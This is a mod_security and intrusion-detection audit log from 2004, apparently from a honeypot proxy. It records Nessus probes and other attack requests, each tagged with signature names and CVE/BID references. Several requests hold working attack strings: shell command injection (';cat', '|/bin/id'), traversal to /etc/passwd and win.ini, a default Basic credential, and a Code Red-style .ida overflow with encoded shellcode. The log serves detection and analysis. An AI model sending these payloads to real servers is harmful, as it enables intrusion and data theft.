Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1147BID374
CVE-1999-0039
attempted-reconWEB-MISC cat%20 access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:03 2004] "GET /cgi-local/shop.pl/page=;cat%20shop.pl| HTTP/1.1" 404 316
Handler: (null)
Error: File does not exist: /usr/local/apache/htdocs/cgi-local/shop.pl/page=;cat shop.pl|
----------------------------------------
GET /cgi-local/shop.pl/page=;cat%20shop.pl| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1148attempted-reconWEB-MISC Ecommerce import.txt access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:46 2004] "GET /webcart-lite/orders/import.txt HTTP/1.1" 403 314
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/webcart-lite
----------------------------------------
GET /webcart-lite/orders/import.txt HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1149Nessus 10049
CVE-1999-0021
BID128
web-application-activityWEB-CGI count.cgi access
Request: 217.226.156.144 - - [Fri Mar 12 08:37:03 2004] "GET http://www.webhits.de/cgi/Count.cgi?srgb=ff0000&sh=0&prgb=c60000&tr=1&trgb=000000&ft=0&dd=tinyred&df=14218.dat HTTP/1.0" 200 43
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/count\.cgi" at THE_REQUEST.
----------------------------------------
GET http://www.webhits.de/cgi/Count.cgi?srgb=ff0000&sh=0&prgb=c60000&tr=1&trgb=000000&ft=0&dd=tinyred&df=14218.dat HTTP/1.0
Accept: */*
Accept-Language: de
Cookie: WEBHCA14218:aaGorLZnc43GY=1100351657; SaneID=217.82.247.61-1078497488116
Host: www.webhits.de
Proxy-Connection: close
User-Agent: Anonymisiert durch Steganos Internet Anonym 6
mod_security-message: Warning. Pattern match "/count\.cgi" at THE_REQUEST.

HTTP/1.0 200 OK
Expires: Fri, 12 Mar 2004 14:37:04 GMT
Last-Modified: Fri, 12 Mar 2004 13:37:04 GMT
Content-Type: image/gif
X-Cache: MISS from www.testproxy.net
Connection: close
1150attempted-reconWEB-MISC Domino catalog.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:15 2004] "GET /catalog.nsf HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/catalog.nsf
----------------------------------------
GET /catalog.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=93
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1151attempted-reconWEB-MISC Domino domcfg.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:18 2004] "GET /domcfg.nsf HTTP/1.1" 403 294
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/domcfg.nsf
----------------------------------------
GET /domcfg.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=80
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1152attempted-reconWEB-MISC Domino domlog.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:15 2004] "GET /domlog.nsf HTTP/1.1" 403 294
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/domlog.nsf
----------------------------------------
GET /domlog.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=91
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1153attempted-reconWEB-MISC Domino log.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:59 2004] "GET /log.nsf HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/log.nsf] for 50000 ms
----------------------------------------
GET /log.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/log\.nsf" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1154attempted-reconWEB-MISC Domino names.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:14 2004] "GET /names.nsf HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/names.nsf
----------------------------------------
GET /names.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1158Nessus 10365
arachNIDS 465
BID1073
CAN-2000-0242
attempted-reconWEB-MISC windmail.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:25 2004] "GET /cgi-bin/windmail.exe HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/windmail.exe
----------------------------------------
GET /cgi-bin/windmail.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1162BID1153
CAN-2000-0429
attempted-reconWEB-MISC cart 32 AdminPwd access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:46 2004] "GET /cgi-bin/c32web.exe/ChangeAdminPassword HTTP/1.1" 403 322
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/c32web.exe
----------------------------------------
GET /cgi-bin/c32web.exe/ChangeAdminPassword HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1163Nessus 10299
CVE-1999-0039
BID374
web-application-activityWEB-CGI webdist.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:44 2004] "GET /cgi-bin/webdist.cgi HTTP/1.1" 404 299
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/webdist\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/webdist.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/webdist\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1165CAN-1999-1006
BID879
attempted-reconWEB-MISC Novell Groupwise gwweb.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:53 2004] "GET /GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA HTTP/1.1" 403 297
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/GW5
----------------------------------------
GET /GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1167BID1036
CVE-2000-0192
attempted-reconWEB-MISC rpm_query access
Request: 217.160.165.173 - - [Fri Mar 12 22:44:34 2004] "GET /cgi-bin/rpm_query HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/rpm_query] for 50000 ms
----------------------------------------
GET /cgi-bin/rpm_query HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/rpm_query" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1172CVE-1999-1550
BID778
Nessus 10027
web-application-activityWEB-CGI bigconf.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:32:09 2004] "GET /bigipgui/bigconf.cgi?command=bigcommand&CommandType=bigpipe HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/bigipgui/bigconf.cgi] for 50000 ms
----------------------------------------
GET /bigipgui/bigconf.cgi?command=bigcommand&CommandType=bigpipe HTTP/1.0
Authorization: Basic c3VwcG9ydDpzdXBwb3J0
mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1173attempted-reconWEB-MISC architext_query.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:57 2004] "GET /cgi-bin/ews/ews/architext_query.pl HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/ews/ews/architext_query.pl] for 50000 ms
----------------------------------------
GET /cgi-bin/ews/ews/architext_query.pl HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/ews/architext_query\.pl" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1174CVE-1999-0260
BID2002
web-application-activityWEB-CGI /cgi-bin/jj access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:06 2004] "GET /cgi-bin/jj HTTP/1.1" 404 290
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/cgi-bin/jj" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/jj HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/cgi-bin/jj" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1180arachNIDS 258
BID1485
BID770
CAN-1999-0885
attempted-reconWEB-MISC get32.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:50 2004] "GET /cgi-bin/get32.exe HTTP/1.1" 403 301
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/get32.exe
----------------------------------------
GET /cgi-bin/get32.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1194CAN-2000-0180
BID1052
web-application-attackWEB-CGI sojourn.cgi File attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:04 2004] "GET /cgi-bin/sojourn.cgi?cat=../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/sojourn.cgi?cat=../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1196CVE-2000-0207
arachNIDS 290
BID1031
web-application-attackWEB-CGI SGI InfoSearch fname attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:41:34 2004] "GET /infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/id HTTP/1.1" 403 296
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/infosrch.cgi
----------------------------------------
GET /infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/id HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1206Nessus 10034
CVE-1999-0710
web-application-activityWEB-CGI cachemgr.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:52 2004] "GET /cgi-bin/cachemgr.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/cachemgr.cgi
----------------------------------------
GET /cgi-bin/cachemgr.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1208web-application-activityWEB-CGI responder.cgi access
Request: 24.127.175.68 - - [Sat Mar 13 15:35:36 2004] "GET http://www.bignipplelovers.com/members/index.html/cgi-bin/responder.cgi;dunno;RainM; HTTP/1.0" 401 3784
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/responder\.cgi" at THE_REQUEST.
----------------------------------------
GET http://www.bignipplelovers.com/members/index.html/cgi-bin/responder.cgi;dunno;RainM; HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: www.bignipplelovers.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://www.bignipplelovers.com/members/index.html/cgi-bin/responder.cgi;dunno;RainM;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Warning. Pattern match "/responder\.cgi" at THE_REQUEST.

HTTP/1.0 401 Authorization Required
Warning: Subject to Monitoring
WWW-Authenticate: Basic realm="Members"
X-Powered-By: PHP/4.1.2
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
1212attempted-reconWEB-MISC Admin_files access
Request: 217.160.165.173 - - [Fri Mar 12 22:31:15 2004] "GET /Admin_files/ HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/Admin_files/] for 50000 ms
----------------------------------------
GET /Admin_files/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/admin_files" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=85
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1213attempted-reconWEB-MISC backup access
Request: 217.160.165.173 - - [Fri Mar 12 22:31:19 2004] "GET /backups/ HTTP/1.1" 403 292
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/backups
----------------------------------------
GET /backups/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1214attempted-reconWEB-MISC intranet access
Request: 217.160.165.173 - - [Fri Mar 12 22:44:16 2004] "GET /intranet/browse.php HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/intranet/browse.php] for 50000 ms
----------------------------------------
GET /intranet/browse.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/intranet/" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1217BID2653
CAN-2000-0074
attempted-reconWEB-MISC plusmail access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:45 2004] "GET /cgi-bin/plusmail HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/plusmail] for 50000 ms
----------------------------------------
GET /cgi-bin/plusmail HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/plusmail" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1218attempted-reconWEB-MISC adminlogin access
Request: 24.127.175.68 - - [Sat Mar 13 23:45:47 2004] "GET http://www.catalinaxxx.com/members/mebershomepage/index.htm/session/adminlogin?RCpage=/sysadmin/index. HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://www.catalinaxxx.com/members/mebershomepage/index.htm/session/adminlogin?RCpage=/sysadmin/index.] for 50000 ms
----------------------------------------
GET http://www.catalinaxxx.com/members/mebershomepage/index.htm/session/adminlogin?RCpage=/sysadmin/index. HTTP/1.0
Cache-Control: no-cache
Connection: close
Host: www.catalinaxxx.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://www.catalinaxxx.com/members/mebershomepage/index.htm/session/adminlogin?RCpage=/sysadmin/index.
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/adminlogin" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1220attempted-reconWEB-MISC ultraboard access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:21 2004] "GET /cgi-bin/UltraBoard.cgi HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/UltraBoard.cgi] for 50000 ms
----------------------------------------
GET /cgi-bin/UltraBoard.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/ultraboard" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1222Nessus 10611
BID2372
CAN-2001-0217
web-application-attackWEB-CGI pals-cgi arbitrary file access attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:56 2004] "GET /pals-cgi?palsAction=restart&documentName=/etc/passwd HTTP/1.1" 403 292
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/pals-cgi
----------------------------------------
GET /pals-cgi?palsAction=restart&documentName=/etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1230Nessus 10733
CAN-2001-0432
BID2808
attempted-reconWEB-MISC VirusWall FtpSave access
Request: 217.160.165.173 - - [Fri Mar 12 22:32:10 2004] "GET /interscan/cgi-bin/FtpSave.dll?I'm%20Here HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/interscan/cgi-bin/FtpSave.dll] for 50000 ms
----------------------------------------
GET /interscan/cgi-bin/FtpSave.dll?I'm%20Here HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/FtpSave\.dll" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1242BID1065
CAN-2000-0071
arachNIDS 552
web-application-activityWEB-IIS ISAPI .ida access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:20 2004] "GET /anything.ida HTTP/1.1" 404 292
Handler: (null)
Error: mod_security: Warning. Pattern match "\.ida" at THE_REQUEST.
----------------------------------------
GET /anything.ida HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.ida" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1243CAN-2000-0071
BID1065
arachNIDS 552
web-application-attackWEB-IIS ISAPI .ida attempt
Request: 68.48.205.207 - - [Wed Mar 10 19:14:37 2004] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid URL encoding #2 detected.
----------------------------------------
GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
Content-length: 3379
Content-type: text/xml
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1244BID1065
CAN-2000-0071
arachNIDS 553
web-application-attackWEB-IIS ISAPI .idq attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:06 2004] "GET /query.idq?CiTemplate=../../../../../winnt/win.ini HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/query.idq] for 50000 ms
----------------------------------------
GET /query.idq?CiTemplate=../../../../../winnt/win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "\.idq\?" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1245BID1065
CAN-2000-0071
arachNIDS 553
web-application-activityWEB-IIS ISAPI .idq access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:19 2004] "GET /anything.idq HTTP/1.1" 404 292
Handler: (null)
Error: mod_security: Warning. Pattern match "\.idq" at THE_REQUEST.
----------------------------------------
GET /anything.idq HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.idq" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1248MS01-035
CAN-2001-0341
BID2906
arachNIDS 555
web-application-activityWEB-FRONTPAGE rad fp30reg.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:49 2004] "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1" 403 301
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/_vti_bin
----------------------------------------
POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1
Host: www.testproxy.net
Transfer-Encoding: chunked

[POST payload not available]

HTTP/1.1 403 Forbidden
Connection: close
Content-Type: text/html; charset=iso-8859-1
1250BID2936web-application-attackWEB-MISC Cisco IOS HTTP configuration attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:31:27 2004] "GET /level/16/exec/show/config/cr HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/level/16/exec/show/config/cr] for 50000 ms
----------------------------------------
GET /level/16/exec/show/config/cr HTTP/1.1
